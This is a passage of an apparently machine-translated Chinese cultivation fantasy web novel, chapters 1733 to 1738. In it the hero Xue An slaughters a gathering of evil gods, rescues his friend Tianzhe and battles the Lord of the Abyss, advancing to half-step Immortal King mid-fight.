    Following this, Tai Feng stared at this scene dumbfounded, and a thought suddenly rose in his mind.


    Could it be that your lord is going to do it now?


    At the same time, such tyrannical aura naturally alarmed all the evil gods in the banquet hall.


    Akana, who was originally sitting on the throne in a bored manner, accepted the evil gods from all sides, was shocked, and then suddenly got up, looking outside with a look of astonishment.


    The Cthulhu in the audience also changed.


    "This momentum... is the human man from yesterday!" someone exclaimed.


    Akana''s complexion gradually calmed down, and she closed her eyes lightly. When she opened them again, the water-cut pupils had become a pair of vertical pupils full of infinite indifference and killing intent.


    And under her white to almost transparent skin, a trace of weird cyan pattern is emerging.


    at the same time.


    Xue An''s figure has also appeared at the entrance of the banquet hall.


    At this moment, he was dressed in a white robe without wind, and his whole person was like an immortal who was about to melt away at any time, full of invisible mist.


    And a whirlpool formed by the shocking weather turned the top of his head slowly.


    The brutal murderous intention enveloped the audience, making many evil gods shocked.


    Akana''s pair of vertical pupils gradually narrowed into a gap, which flashed with extremely evil light.


    "Yesterday, I was thinking, what did you do when the human race suddenly came to our evil god''s territory, now I understand!"


    Xue An raised his head and smiled silently at Akana, who was above the throne.


    "Oh? What do you understand?"


    Akana sneered a few times, "You came with such a powerful killing intent, don''t you want to destroy all the existence on the scene?"


    Xue An nodded, "Yes! You guessed it right!"


    "presumptuous!"


    "It''s a joke!"


    This group of evil gods sneered.


    Because in their opinion, this is just like a joke.


    With so many powerhouses gathered in one''s own main venue, only a human youth wanted to destroy everyone.


    Isn''t this a foolish dream?


    Akana couldn''t help but sneered a few times, "I want to deal with me on my own. Should I praise you for being brave, or should I say you are arrogant?"


    "Whatever you think, I don''t care!" Xue An said indifferently.


    When speaking, the aura on his body was beginning to rise at a speed visible to the naked eye.


    Akana smiled.


    Because of her face at the moment, she laughed like a nightmare, terrifying and evil.


    "Actually, I am very interested in you. After all, I am tired of the creatures in the abyss, but I have never met a human man like you! So..."


    Akana spit out her tongue like a snake letter, and licked her lips lightly, "I will save you later and enjoy it!"


    Speaking of this, Akana looked up to the sky and laughed. In the laughter, her hair suddenly began to grow wildly, and then turned into a venomous snake, and went straight to Xue An.


    Wherever it passed, the stench of the smell made the space dull and toxic.


    Upon seeing this, Tai Feng screamed and hurriedly hid behind Xue An.


    Akana snorted when she saw it, "Taifeng, I have entrusted you with a heavy responsibility, but you dare to betray me, then I will make you a snake puppet, so that you will never live beyond life!"


    Taifeng was scared to death.


    Because he knew too well the strength of this Akana.


    This Akana is the daughter of the abyss, inheriting the most violent part of the blood of the master of the abyss.


    This is why she can become the leader of the evil god.


    Because in terms of lethality, she can be said to be the most powerful of all the blood of the Lord of the Abyss.


    But these venomous snakes just rushed to Xue An and were blocked by an invisible barrier.


    But these poisonous snakes suddenly opened their mouths and vomited a cloud of black mist.


    The mist was invisible and innocent, and directly crossed this barrier and rushed towards Xue An.


    Before being physically present, Xue An''s hair was slightly scorched by the poison.


    Xue An raised his eyebrows but instead of retreating, she took a step forward.


    "Looking for death!" The evil **** grinned when he saw it.


    But the next second he couldn''t laugh.


    Because at this moment, a red lotus appeared out of thin air, turned slightly, and all the black mist was swept away.


    Even the poisonous snakes with those hairs screamed, and then turned into ashes silently.


    Akana screamed, "This flame..."


    For the first time, the color of horror appeared in his eyes.


    Xue An smiled coldly, "Don''t worry, this is just the beginning!"


    With the voice, another white flame emerged out of thin air, fusing with the red lotus in the air.


    As soon as the two were combined, an extremely violent force rose to the sky, covering the entire Blood Sea City.


    Under the power, the gods and ghosts are shocked!

 Chapter 1734： Red lotus white fire, kill!

    Akana''s complexion was extremely solemn, and she did not dare to contempt Xue An the slightest.


    "who are you!"


    Xue An stood proudly, "My name is Xue An! You can also call me... Red Lotus Immortal Venerable!"


    Red Lotus Immortal! ! !


    This word shocked all the evil gods.


    Akana was even more angry, but she calmed down.


    "You are not Xianzun!"


    Akana knows very well that if the other party is really Immortal Venerable, then one finger can crush the entire Blood Sea City.


    Xue An smiled, "Yes, not now!"


    Somehow, after seeing Xue An''s smile, even Akana, who was accustomed to seeing the evil, couldn''t help but shudder.


    Akana took a deep breath, "Whether you are or not, the abyss is a place independent of the heavens. What do you intend to do here?"


    Xue An''s eyes moved slightly, "You really don''t know?"


    "what do you know?"


    Xue An''s eyes suddenly became interesting, and he suddenly raised his hand.


    The seal in the palm of the hand was released.


    Wen Linglong''s soul was released.


    After feeling the familiar aura from the outside world, Wen Linglong was startled first, and then screamed frantically.


    "Sister, save me!"


    Akana was surprised, "Wen Linglong?"


    Then he looked at Xue An, "What''s going on?"


    Xue An smiled, "It''s nothing, I just want him to see you before he died!"


    After all, Xue An''s spirit swept across.


    Wen Linglong let out a terrible howl, and then he was shattered to pieces.


    Although Akana and Wen Linglong belong to the same bloodline of the abyss, they are far away from each other.


    Even their last names are different.


    But Xue An didn''t say anything, and immediately wiped out an abyss bloodline, which still made Akana furious.


    "What do you want to do?"


    "Very simple!" Xue An''s tone was unhappy, "I want to see the father of your bloodline, the Lord of the Abyss!"


    This statement came out.


    Not only Akana, but all the evil gods present were shocked.


    After a long time of trouble, this Human Race boy actually came for the Lord of the Abyss.


    This is too incredible!


    Akana even sneered, "Do you want to deal with the great Lord of the Abyss?"


    Xue An sighed softly, "How can I know if I don''t try it?"


    "But what if I don''t say it?"


    Xue An smiled, "I know that things will not be solved so easily, since you refuse to say, then I...I will call you to say!"


    As soon as Xue An''s words fell, Akana also shouted in a deep voice: "Let''s do it together and kill him!"


    For a while, all the heretic gods flew up and went straight to Xue An to kill.


    So many evil gods gathered together, and the power formed was enough to shake the world.


    But they had just rushed halfway, Xue An suddenly took a step, and at the same time coldly shouted: "Cause and effect!"


    The turbulent power of cause and effect spread instantly and enveloped these evil gods.


    After Xue An entered Daluo, he rarely used this magical power again.


    But at this moment, the power of cause and effect directly restrained these evil gods, causing their bodies to freeze in the air.


    Akana sneered when she saw this.


    With that, her eyes instantly became as dark as lacquer ink, and the patterns on her face became more and more obvious, and the powerful dark power directly collided with these causal forces.


    But at this moment, Xue An said calmly: "Red Lotus and White Fire, kill!"


    The boundless flames suddenly skyrocketed, and then poured down like rain.


    Wherever they passed, the bodies of these evil gods fell like ragged leather.


    Akana couldn''t help screaming, "No!"


    Then, as if avoiding the most terrifying thing, he fled back crazy.


    And these evil gods howled in pain.


    For them, the two kinds of flames released by Xue An were like natural enemies.


    Therefore, only a moment later, the Cthulhu who had just filled the audience was swept away.


    Akana, who fled to the distance, finally showed infinite horror in her eyes.


    She had been pierced by the flames, she didn''t dare to love war anymore, turned around and ran.


    But at this moment, Xue An moved.


    In an instant, Xue An blocked Akana''s way, and then the blossoming red lotus bloomed, trapping Akana alive.


    "Now tell me, where is the Lord of the Abyss?" Xue An said coldly.


    Akana''s whole body was shaking uncontrollably.


    "I... I don''t know!"


    Xue An raised his eyebrows slightly, and a flame directly eroded half of Akana''s body.


    Akana screamed in extreme pain, but the flame stopped abruptly in just a moment.


    Looking at her at this time, half of her body has disappeared without a trace, and the wounds are even more tidy.


    "Do you know now?" Xue An said lightly.


    "Yes...yes..." Akana was trembling with fear and just wanted to say something.


    But at this moment, an unimaginable divine mind suddenly came.


    Bang!


    Akana''s head burst open instantly.


    Then the corpse fell silently.


    Xue An laughed, laughing very happy, and then slowly raised his head, "Lord of the Abyss, you have avoided me for so long, are you finally willing to show up?"


    The huge divine consciousness condenses in the air, transforming into an illusory figure, and then a hollow voice comes from it.


    "Red Lotus Immortal Venerable, the grievances between you and me should be settled, if you dare to come, come to the Blood Sea God Tree to find me!"


    Words fall.


    The huge spiritual thought faded instantly.


    Xue stood quietly, until after a while, did he smile coldly, then lowered his head and said to Taifeng who had fallen to the ground because of excessive horror.


    "Okay! You don''t need you for the rest! You can leave by yourself!"


    After all, Xue An''s whole person rose into the sky, smashed through the ceiling of the banquet hall, and flew into the sky. He recognized the direction first, and then disappeared in place.


    Taifeng watched this scene blankly, and suddenly Ji Lingling shuddered.


    Did you really challenge the Lord of the Abyss?


    And what will be the result of this battle ?


    at the same time.


    Xue An, who was flying fast, raised his hand and wrote many seals between his brows.


    An Yan in the Fu Bao Xiaolou noticed the strangeness and couldn''t help asking: "Husband, what''s the matter?"


    Xue An''s face was cold, and he said solemnly: "It''s okay, just take precautions in advance. Remember, no matter what happens later, you can''t come out!"


    "can����."


    Before An Yan finished speaking, Xue An added the last seal, thus isolating all the breath of Fu Bao Xiaolou.


    After all this was done, in the boundless sea of ??blood in front, a huge sacred tree stood upright in front of him.


    Xue An''s eyes were as cold as ice, and a raging flame suddenly burned all over his body. A red lotus before the center of his eyebrows was as red as blood.


    Then he came straight to this sacred tree with a violent posture.

 Chapter 1735： I see the heavens like a chess game

    This is a towering giant tree standing in a sea of ??blood in the starry sky.


    When flying to the front, the entire field of vision was occupied by the trunk of this giant tree.


    Looking up, you can''t even see the top of the giant tree, you can only see countless branches spreading out, and the branches are dotted with bright red fruits.


    These fruits rose with a faint ghost fire, even if they were far apart, one could still feel the weird energy contained in them.


    But other than that, the entire starry sky is silent.


    There is no sound, no fluctuations, not even the background radiation that exists in the starry sky.


    It seemed that all the sounds were absorbed by the giant tree in front of me, and it was quiet and frightening.


    Xue An was surrounded by flames, hovering in front of this giant tree, and after looking at it for a while, he raised an eyebrow suddenly.


    "What? I''ve already come, are you still reluctant to show up?"


    As soon as the voice fell, there was a loud rumbling noise from inside the giant tree, and then a big hole collapsed in the trunk.


    The deep hole is like a monster that chooses people to eat, exuding an ominous aura.


    Xue An just smiled coldly at this, "playing mystery!"


    After all, Xue An took a deep breath, then stood up and flew directly into the hole.


    This is a pure white space, there is no heaven, earth, sun and moon, and no time to flow.


    As far as I can see, there is nothing but pure whiteness.


    It''s like a dream left out of time.


    But when Xue An appeared in this space, everything around him quickly began to change.


    The ground appeared under his feet, the sky above his head, and strange flowers and grasses began to bloom.


    In a blink of an eye, it became a garden with a beautiful gurgling stream.


    Xue looked at all this quietly, his eyes were not on these changes at all, but stayed under a pavilion in the distance.


    I saw a stone table under the pavilion, and a person was sitting with his back facing him, as if he was looking down at something.


    Xue An''s eyes gradually lit up.


    At this moment, a distant voice came over.


    "Red Lotus Immortal Venerable, I have been waiting for you for a long time!"


    Having said that, the person slowly turned around, revealing a face with a dull expression and even facial features.


    Then I saw him smile slightly, "Are you interested in playing a game?"


    Xue An''s mouth gradually raised, "Okay!"


    After all, Xue An''s figure flashed, and the next moment he came to the opposite of the man, and then sat down.


    What is placed in front of you is not the multi-layer chessboard popular in the heavens, but the simplest plane chess game that passes through the earth.


    After Xue An sat down, the Lord of the Abyss was not polite and fell directly.


    Xue An held black chess in his hand and followed without hesitation.


    For a time, the two sides fell like flying, but there was no extra voice.


    With the spirit of the two of them now, playing such a game is simply no challenge.


    So the two went down faster and faster, and in the end they could only see black and white lights and shadows entangled on the chessboard like two giant dragons!


    After a while, the game suddenly stopped.


    Looking at the chessboard at this time, there are not many black and white two pieces left, but the number of meshes is equal, and they are still in a stalemate.


    It was a rare tie.


    The Lord of the Abyss lowered his head and watched quietly. After a long time, he raised his head to look at Xue An, and then smiled.


    When he smiled, this plain face suddenly became very charming.


    Those eyes are no longer dull, but become extremely agile.


    "It really deserves to be the famous Red Lotus Immortal Venerable, who can actually make a draw with me!"


    "Who told you that it was a tie?" Xue An said lightly, his eyes flashing.


    The white chess pieces of the Lord of the Abyss burst open one after another, and finally turned into flying ashes.


    The Lord of the Abyss was silent.


    However, Xue An sat in a chair in time, without any extra expression on his face.


    "Okay! Very good!" The Lord of the Abyss suddenly chuckled, and then with a wave of his hand, all the chessboard in front of him disappeared, replaced by a set of exquisite tea sets, and there was even steam in the teapot.


    The Lord of the Abyss raised his hand to hold the teapot, poured two cups of tea, and then handed it to Xue An.


    Xue An raised his eyebrows slightly.


    "Don''t worry, I don''t even bother to poison the tea!" The Lord of the Abyss said with a smile.


    Xue An snorted and took it casually.


    The fragrance of the tea was refreshing, but Xue An didn''t drink it, just staring coldly at the Lord of the Abyss.


    The Lord of the Abyss lowered his head and sipped his tea, then sighed softly, "Xue An, do you know what I was thinking just now?"


    "What do you think?"


    "I''m thinking, if you and I join hands, what kind of situation will these heavens be like?"


    Xue An did not speak.


    The Lord of the Abyss went on and said: "Actually, to be honest, I didn''t feel much about you before this. Even if you were once the Red Lotus Immortal Venerable, but now you are reborn, it is nothing more than that!"


    "But now I have changed my mind!"


    "Because of this game?" Xue An said lightly.


    "That''s right! Because I look at the heavens, just like this chess game, ridiculously countless self-proclaimed powerful existences are just chess pieces on the chessboard, but they don''t know it! And the only ones who are truly qualified to be chess players are you and me. !"


    After all, the eyes of the Lord of the Abyss suddenly burst into extremely bright light.


    "So if you and I join forces, we will definitely become the lord of the heavens!"


    Xue An smiled.


    The smile was full of sarcasm.


    "It sounds good, but do you think it is possible?"


    The Lord of the Abyss was startled when he heard the words, then sighed and shook his head.


    "Xue An, I thought that at the level of you and me, I should have left those worldly prejudices a long time ago! After all, what could be more important than being strong?"


    "Secular prejudice?" Xue An''s smile became more and more bitter. "You killed my people with the intention of destroying my ethnic tradition. This is called secular prejudice?"


    The Lord of the Abyss licked his lips disapprovingly when he heard the words, "Xue An, since you have been a fairy, you should understand that many things cannot be transferred by human will! The difficulties of the Chinese people are the calamities they deserve, and this is not me. , It''s not something you can change!"


    As soon as these words came out Xue An''s eyes brightened, "The calamity that should be there? Then I want to know, who is qualified to set the calamity against the Chinese?"


    The Lord of the Abyss shook his head, "No need to ask, first of all I won''t tell you, and secondly, this is not something you can solve! I can only tell you three words, accept your fate!"


    Xue An''s heart was shocked, and his eyes suddenly became extremely cold.


    All the clues originally pointed to the Lord of the Abyss, but now listening to him, there seems to be a deeper existence behind him.


    Faintly, Xue An felt that he had finally approached the truth he had been searching for, and had touched some secrets that could overwhelm the heavens.


    "Acknowledge fate? Haha, if I confessed fate, then I would have turned into a dead bone on the earth! So no matter what you say or not, I will kill you and the people behind you! "


    The Lord of the Abyss sighed slightly, "Is it true? If you and I join forces..."


    Xue An was unmoved and interrupted him directly, "I ask you, is Tianzhe in your hands?"

 Chapter 1736： Space-time collision

    The Lord of the Abyss waved his hand, and branches emerged out of thin air, and in the middle of the branches was a solidly bound person.


    The man was tall and naked, and branches passed between his chest and abdomen, and then came out from behind.


    And with breathing, these branches are constantly drawing blood out.


    The man lowered his head and seemed to have fallen into a coma.


    Xue An''s complexion became extremely gloomy.


    The Lord of Abyss said with a smile: "His vitality is simply the strongest I have ever seen. Even after so long of inhalation, he still hasn''t died! On the contrary, it has nourished countless blood sea ghost flame fruits, what a pity! No one can taste the high-quality fruits this year!"


    "How? Do you want him to wake up?"


    Although he was asking, the Lord of the Abyss snapped his finger.


    The branches that had been madly drawing blood stopped instantly and withered slightly.


    at the same time.


    Tianzhe''s body trembled slightly, and then slowly raised his head.


    This is an old and haggard face, only a pair of eyes are still extremely clear.


    When he saw Xue An, he was taken aback for a moment, and then he was shocked: "Old...Old Xue?"


    Xue An was also quite excited, and nodded, "Yes, it''s me!"


    "Why did you come to this place?" Tianzhuna suddenly became extremely excited, struggling frantically: "Go! Now you are not his opponent at all! Get away..."


    Before he finished speaking, a branch stuck directly into his mouth, blocking the rest of the words back.


    Then the Lord of the Abyss looked at Xue An with a smile but a smile, "Look, your friends are in my hands, so how about we make a deal? As long as you agree, I immediately let him go!"


    Xue An''s face was sinking, and he took a deep look at Tianzhana, whose eyes were full of anxiety, then took a deep breath, turned his head and said to the Lord of the Abyss.


    "There is one more thing I don''t understand now!"


    "Oh? What''s the matter?"


    "Why do you have to deal with Yan''er with such a powerful strength?"


    "Yan''er? You mean the seal on that woman?" The Lord of the Abyss laughed, and then took a deep look at Xue An.


    "Yes, the seal on your wife''s body was indeed sent by me, as for why..."


    The Lord of the Abyss said playfully: "I can only say that the reason is far more complicated than you think!"


    Xue An''s heart moved.


    The words of the Lord of the Abyss just confirmed some of Xue An''s suspicions, and also caused a trace of understanding in his heart.


    Yan''er''s origin is not simple indeed!


    Immediately, he showed a cold smile, "Very good! Now that you admit it, it will be easier!"


    Following the voice, Xue An''s momentum began to rise at a crazy speed.


    Feeling this momentum, the Lord of the Abyss sighed softly: "Is it really going to be like this?"


    Xue An was unmoved, and said indifferently: "Chinese massacre, you are one of the main messengers, this is one of them!"


    "The seal in Yan''er almost ruined his vitality, this is the second!"


    "I have imprisoned my friend, this is the third!"


    "This is the fourth one to condone subordinates to invade the earth!"


    "Combined with so many reasons, do you think there is anything to say between you and me?"


    Xue An''s voice was not very loud, but it echoed in the entire space, shocking people.


    The Lord of the Abyss suddenly laughed when he heard this, and the more he laughed, the louder his voice.


    "In fact, I know that all persuasion is futile, but I still want to try it! Xue An, since you toast and not eat fine wine, don''t blame me!"


    With the voice, the stone table in front of him, and the tea set on the table burst open, and Guanghua came straight to Xue An.


    Xue An didn''t even move, all the fragments were silently turned into nothingness in the middle.


    Then a ray of sword light suddenly appeared behind the Lord of Abyss, and there was still a drop of blood remaining on the tip of the sword.


    boom!


    The body of the Lord of the Abyss then shattered.


    Xue An was expressionless in the blood flow.


    Because he knows that this is just the beginning.


    Sure enough, only a cold and hollow voice came from the void.


    "Xue An, do you know why I lured you here by killing the game, but didn''t show up immediately?"


    "Because your body is trapped here, you can''t move at all, right?" Xue An said lightly.


    "Hahahaha, as expected to be a former immortal powerhouse, really good eyesight! Yes, I am indeed trapped here and cannot leave!"


    "That''s why you thought of slaying those evil gods with the hands of false self?"


    "Yes!" With the voice, a faint figure gradually condensed in the air.


    "It''s been a long time since I showed up, and these evil gods have lost their awe, so I want them to die!"


    "Do you also include your daughter?" Xue An said coldly.


    "You mean Akana?" The illusory light and shadow twisted, and then there was a sneer.


    "She is only transformed by a drop of my blood, and she is not qualified to be called my daughter! And there is one thing I want to tell you!"


    Speaking of this, the voice of the Lord of the Abyss became ridiculed, "My true blood has led a large army to the earth, and it is estimated that it has arrived there now, that is, your home is probably now in ruins! "


    After that, the Lord of the Abyss laughed wildly again.


    In the laughter, Xue An''s eyes suddenly burned with boundless killing intent.


    "Very good! Then I will use your blood to pay homage to the earth!"


    Words fall.


    Xue An rose into the sky and cut out a sword.


    This sword light was radiant to the extreme, as if to cut off the void, and came straight to the Lord of the Abyss.


    Xue An integrated all the killing intent into this sword, the violent power has been condensed to the extreme, and even all kinds of illusions have appeared.


    Boom!


    The body of the Lord of the Abyss was completely torn apart like a fragile doll.


    But that''s it.


    I saw that the severed fragments of the Lord of the Abyss suddenly disappeared, and then reunited in the distance.


    Then the Lord of the Abyss said in a playful tone: "Xue An, although your sword intent is strong, it is impossible to destroy me!"


    "Because this is my home court!"


    When the words fell, Xue An suddenly felt that the time and space around him had become stagnant, and his whole person seemed to be trapped in a swamp, completely unable to move.


    "The power of time and space? You taught him the time and space art of the fairy king Wei Li in the ghost world!" Xue An said coldly that''s right! That Wei Li is willing to be my lackey, I naturally want to fulfill him! As for you, it is enough to be proud of being able to die under the strangulation of my time and space! "


    The Lord of the Abyss snapped his fingers.


    boom!


    The time and space around Xue An was instantly out of order, turned into an indestructible turbulence, and began to strangle everything.


    The Lord of the Abyss looked at this scene with a smile, and then turned his head and said to Tianzhana, whose eyes were full of sadness.


    "Tsk tusk, did you see it? This is the Red Lotus Immortal Venerable who once stunned the heavens, but now, like a dog, died in my hands!"


    Tianzhuna''s eyes showed infinite grief and anger.


    If vision can kill, the Lord of the Abyss has already been killed countless times by him.


    But at this moment, a cold voice came from the turbulent flow of the sky.


    "Causality... a big reversal!"

 Chapter 1737： Quasi-immortal-level powerhouse

    Among the heavens, various supernatural powers emerge in endlessly, but there are only so few recognized top supernatural powers.


    Time and space, cause and effect are among them.


    But which of these two supernatural powers is higher is a topic of constant debate.


    This is also because the cultivators who can awaken these two supernatural powers are simply rare, so there has been no chance to actually verify them.


    But today, this opportunity has come.


    Following Xue An''s shout, the majestic power of cause and effect surged out, directly facing the turbulence of time and space set by the Lord of the Abyss.


    boom!


    A loud noise made this weird space tremble.


    Immediately after that, huge cracks appeared where the two touched, and inside the cracks was a strange color darker than night.


    And these cracks are still expanding at a crazy speed.


    This scene shocked the Lord of the Abyss and couldn''t help shouting: "The power of cause and effect? ??When did you control this power?"


    Xue An walked out slowly and said lightly: "Want to know? Then ask after going to hell!"


    After all, Xue An''s figure disappeared once again.


    The Lord of the Abyss gritted his teeth secretly.


    He did not expect that Xue An would be so difficult.


    Obviously he was in his home court, but he could make a comeback, which was really beyond his expectation.


    Therefore, with a wave of his hand, he first confined the cracks that kept expanding with the power of time and space, and then shouted angrily.


    "court death!"


    Because at that moment, Xue An''s fist had already hit his back.


    If it was just a fist, the Lord of the Abyss would not be so angry.


    Because in this home field, even if he was bombed into a fan, he would be reborn immediately.


    But this time, on Xue An''s fist, he has the power of causation.


    For this kind of power, even the Lord of the Abyss must stay away.


    Therefore, at that moment, he directly changed the timing, and the whole person departed from the original position and appeared beside Xue An.


    But Xue An seemed to have expected this, and another fist struck out obliquely, taking his face.


    At this time, Xue An''s boxing technique has been practiced to the point where he can send and receive in his heart and smelt everything.


    Therefore, this punch was directly imprinted on the face of the Lord of the Abyss at an unpredictable speed.


    Bang!


    The head of the Lord of the Abyss burst instantly, and blood even splattered dozens of feet away.


    And Xue An obviously wouldn''t give him a chance to recover, he saw him clenching fists with both hands, outputting wildly in a nearly violent posture.


    Bang bang bang!


    Every punch will shatter a body of the Lord of the Abyss.


    In an instant, the Lord of the Abyss was bombarded by Xue Ansheng as a fan.


    And because of the added causal power, even if the Lord of the Abyss wants to be reborn, it is impossible to do it.


    The audience was quiet, only the blood on the ground showed how tragic the battle just now.


    The trapped Tianzhe watched this scene stunned.


    Just... it''s over?


    Why did he look at Lao Xue now that he was not even a half-step immortal king, and he actually eliminated the Lord of the Abyss with the strength of the quasi immortal emperor?


    Even if Old Xue was once the invincible Red Lotus Immortal Venerable, he is not so exaggerated!


    But the facts in front of me are here, and I can''t help but hide that unbelief.


    at the same time.


    Xue An stepped up to Tianzhe''s side and raised his hand to tear off the branches that trapped him.


    "how about it?"


    Tianzhe fell down, first pulled out the branches deep into his belly with a grim face, then shook his head and said: "It''s okay! It''s just a little weak!"


    Then he couldn''t help but said: "Old Xue, is the Lord of the Abyss dead?"


    Xue An''s face sank like water, his eyes coldly looked at everything around him, "Not yet...no!"


    really.


    When his voice just fell.


    Just heard an anger coming from the void.


    "Damn bastard, dare to treat me like this, then I will let you see today, what is the strength of the Immortal Emperor!"


    With the voice, only a loud boom was heard.


    Then a huge force went straight to Xue An and Tianzhe.


    Xue An''s eyes flashed, and layers of sword light emerged out of thin air, shielding him with Tianzhuna.


    But this huge force is obviously not for fighting.


    On the contrary, this force unexpectedly blasted Xue An and Tianzhana into flight.


    And at this moment, this space also shattered.


    So Xue An and Tianzhe were blasted into the outside world like this.


    Then I saw that the giant tree in front of me began to rustle, and it seemed that something terrifying was awakening.


    The entire sea of ??blood, the entire starry sky, and even the entire abyss are restless!


    Boom!


    After a thunderous explosion.


    The blood sea **** tree in front of it turned into a giant that was more than billions of feet tall.


    This is an indescribable, even indescribable existence.


    His body is like an open sky giant in ancient legends, with the sun, moon and stars under his feet, the galaxy surrounding his waist, and countless laws and gods on top of his head.


    His eyes are like two magic lamps, just a glance will directly evaporate the sea of ??blood in front of him.


    At this moment, the terrifying power swept the entire abyss.


    All the strong men suddenly raised their eyes at the same moment, their eyes filled with infinite shock and horror.


    Because in their perception, a powerful existence like a torch is emerging in the starry sky.


    This feeling makes them just want to kneel down and worship, but they dare not produce the slightest resistance.


    Demon race land.


    Zhan Qianchen, Suan Wanfa waited for the devil to pounce, and was pressed by this power to kneel on the ground, even unable to lift his head.


    This is the ultimate humiliation, but no one has the slightest objection at this moment.


    Because they all know.


    This is a force they simply cannot resist!


    The master of the abyss is back!


    Tianzhe was also trembling at that moment, his face pale as paper, and he whispered in a nearly groaning tone: "Is this the true strength of the Quasi Immortal Emperor?"


    Then he suddenly remembered something, and immediately said to Xue An: "Old Xue, we are not opponents of this guy, we should leave now!"


    "Go?" Xue An smiled, "Do you think we can still go now?"


    really!


    The entire abyss has been sealed off.


    Tianzhe stared blankly at and said desperately: "What should I do?"


    "What to do? Haha, since he is going to fight, he is ready to fight! This fight, I am Xue An next!"


    With that, Xue An stepped forward, and instantly came to the Lord of the Abyss, who had revealed his body state.


    The Lord of the Abyss gave a harsh laugh.


    The laughter shook the world.


    "Xue An, to be honest, I really admire you! With your tenacious heart, even if you are not respected by immortals, you are still extraordinary!"


    "But you shouldn''t be so stubborn!"


    "Because in many cases, the price of stubbornness is death!"


    Speaking of this, the two huge eyes of the Lord of the Abyss burst out with bright brilliance, and the space fragments broke where the power spread.


    Xue An smiled, and while smiling, he slowly raised his fist.


    "Stop talking nonsense, fight if you want to fight! Today, I vow to kill you!"

 Chapter 1738： Advance, half-step fairy king

    oom!


    Xue An''s fist blasted with the blow of the Lord of the Abyss.


    The Lord of the Abyss did not move at all, but Xue An flew out like a kite with a broken thread.


    "Old Xue!" Tianzhe exclaimed.


    But the Lord of the Abyss obviously wouldn''t give Xue An a chance to breathe, and saw a thick branch directly shattered the void and blasted towards Xue An''s foothold.


    If this blow is drawn, even if it is an indestructible golden body, it will have to become a fan.


    But Xue An''s figure stopped halfway through.


    I saw that his face became a little pale at the moment, only a pair of eyes were still bright as stars.


    "Come again!"


    With that, Xue An rushed up again.


    Bang bang bang!


    Amid the clashing sound like firecrackers, Xue An and the Lord of the Abyss blasted no fewer than hundreds of blows. Despite this, the skin of the Lord of the Abyss didn''t even explode.


    On the contrary, Xue An''s momentum began to wilt.


    The Lord of the Abyss laughed.


    "Don''t make unnecessary struggling, I am the powerhouse of Emperor Zhunxian. Even if you stand still, you cannot be shaken by a little Luo! So... the game is over!"


    The Lord of the Abyss gently raised his hand and pressed it down with a palm.


    It was like thunder and explosion, and it seemed like the sky was falling apart.


    The void of thousands of miles burst open.


    And Xue An impressively was within the scope of his palm.


    "Not good! Hurry up!" Tianzhe screamed in shock.


    But everything is too late.


    Xue Anye has been firmly locked, where can he get off.


    But Xue An didn''t feel the slightest panic. Instead, he raised his head and stared coldly at the huge palm that was falling, then took a deep breath, jumped up and greeted him straight up.


    Compared to the huge palm of this hand, Xue An''s figure looks too small.


    at the same time.


    All the strong in the abyss also saw this scene through various means.


    With the advent of the Lord of the Abyss, Xue An''s outrageous challenge was seen by everyone.


    After seeing Xue An''s decisive figure, many people were deeply shocked.


    Tianzhe closed his eyes in pain.


    Not to mention that he is currently in an extremely weak state, even in his heyday, he cannot be the opponent of the Lord of the Abyss.


    Boom!


    After a loud noise, Xue An actually withstood the falling palm of the Lord of the Abyss.


    I saw him holding his arms up to the sky, agitating his whole body to fight against the Lord of the Abyss.


    The Lord of the Abyss sneered, "Is that just enough strength?"


    After all, his palm was pressed down again.


    Xue An snorted and was pressed down.


    Seeing is about to be photographed as a fan.


    Xue An''s heart suddenly made a loud bang.


    Then I saw that Xue An''s whole body had become almost transparent, and even the crystal clear white bones could be seen inside.


    Immediately afterwards, traces of blood began to rebuild together, blood vessels, muscles, viscera...


    The whole process is fleeting.


    Immediately afterwards, it was as if something was broken, Xue An''s eyes flashed with brilliance, and then burst out almost substantial brilliance.


    And a powerful force is even more impressive.


    All the cultivation levels in Xue An''s body have undergone a qualitative change at this moment.


    From the power of Da Luo, it has evolved into the power of the half-step fairy king.


    So far.


    Xue An finally took that step and achieved half a step towards the fairy king status.


    This change is comprehensive.


    If the power of Da Luo was only 1, then Xue An of the half-step Immortal King had as many as 10.


    So in an instant, Xue An, who had just been in a total disadvantage, flew up directly with the palm of the Lord of the Abyss.


    Then Xue An yelled softly, "Broken!"


    Click!


    With an order, the entire arm of the Lord of the Abyss smashed into dust.


    This is the biggest gain for Xue An''s promotion to the half-step fairy queen.


    When you prove to the Immortal King, it also means that you have access to the essential rules of everything.


    At this time, if you are a tyrannical person with a tyrannical cultivation base, you will be able to speak out the law in a limited way.


    Xue An is like that.


    And because it is the essential rule of direct interference, no amount of tyrannical defense can avoid this kind of damage.


    The Lord of the Abyss screamed, and then roared: "Xue An, what if you are promoted to the half-step fairy king? You still have to die today!"


    When the words fell, his broken arm instantly condensed, and then he stomped his foot suddenly.


    The void shattered and the abyss shook.


    Several nearby planets burst open.


    The powerful coercion is directed at Xue An.


    Xue An''s figure fluttered, avoiding this wave of attacks.


    At this time, although he was promoted to the half-step fairy king, the pressure he faced was still increasing.


    Because the strength gap between him and the Lord of the Abyss is too big.


    A big gap is enough to smooth out all means.


    What''s more, the difference between them is the most important fairy king realm among the heavens.


    Therefore, Xue An is still full of solemn expression at this time.


    Because he knows very well that this will be the hardest battle he will face after he is reborn.


    Compared with this, the previous battle against Wei Li and against Li Hen Tianjun seemed so trivial.


    "I see how long you can hide!" The Lord of the Abyss screamed, then waved his hands frantically, and at the same time, the branches were constantly attacking Xue An.


    In contrast, Xue An''s counterattack seemed much weaker.


    Sometimes he can only deal with the Lord of the Abyss through the gap of the attack.


    This big battle was fought in a dark place.


    Everyone was stunned.


    At this moment, Xue An suddenly began to retreat sharply, and at the same time yelled, "Red Lotus and White Fire, kill!"


    boom!


    In the body of the Lord of the Abyss, countless red lotus suddenly appeared, and then went straight to the Lord of the Abyss.


    Until then, many people understood that the reason why Xue An had just kept fighting around the Lord of the Abyss was because he was constantly arranging the red lotus karma.


    Seeing this beautiful scene shrouded in the starry sky, red like blood.


    Tianzhe whispered: "Really... can you really kill him?"


    Xue An also watched quietly from a distance. At this moment, his face was exhausted, but he was still as tall as a sword.


    The scorching heat and the terrifying characteristics of the red lotus and white fire flames are the nemesis of all living things.


    At least Xue An has never lost his hand as long as he uses the red lotus and white fire from his rebirth to the present.


    But this time is different.


    Because it''s so quiet.


    The Lord of the Abyss , surrounded by two flames, didn''t even make any sound.


    This weird silence made Xue An''s eyes a cold look.


